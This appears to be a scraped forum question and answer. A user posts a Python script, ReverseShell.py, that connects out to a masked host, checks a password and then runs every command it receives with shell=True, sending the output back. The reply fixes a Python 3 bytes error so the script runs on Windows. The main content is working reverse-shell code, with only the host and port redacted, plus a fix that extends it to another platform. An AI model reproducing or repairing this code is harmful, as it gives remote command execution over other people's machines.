This is my script. It works perfectly on Linux but when I run it on a Windows computer I get 2 errors. which are listed at the bottom.
#!/usr/bin/python
import subprocess
import socket
host = "*********"
port = ***
passwd = "****"
def Login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
Login()
else:
s.send("SHELL ")
Shell()
#Execute Shell Commands
def Shell():
while True:
data = s.recv(1024)
if data.strip() == ":kill":
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
#Start Script
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
Login()
BELOW ARE THE TWO ERRORS what needs to be changed?
C:\Users\IEUser\Desktop\Python>python ReverseShell.py
Traceback (most recent call last):
File "ReverseShell.py", line 34, in <module>
Login()
File "ReverseShell.py", line 11, in Login
s.send("Login: ")
TypeError: a bytes-like object is required, not 'str'
In python2
sock.send
can take a python str
in python3
it must be a bytes-like object
A simple fix looks like this
'message'.encode('utf-8')
In python2
this will do nothing, in python3
you get your bytes
. BAM!
Hope this helps!
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.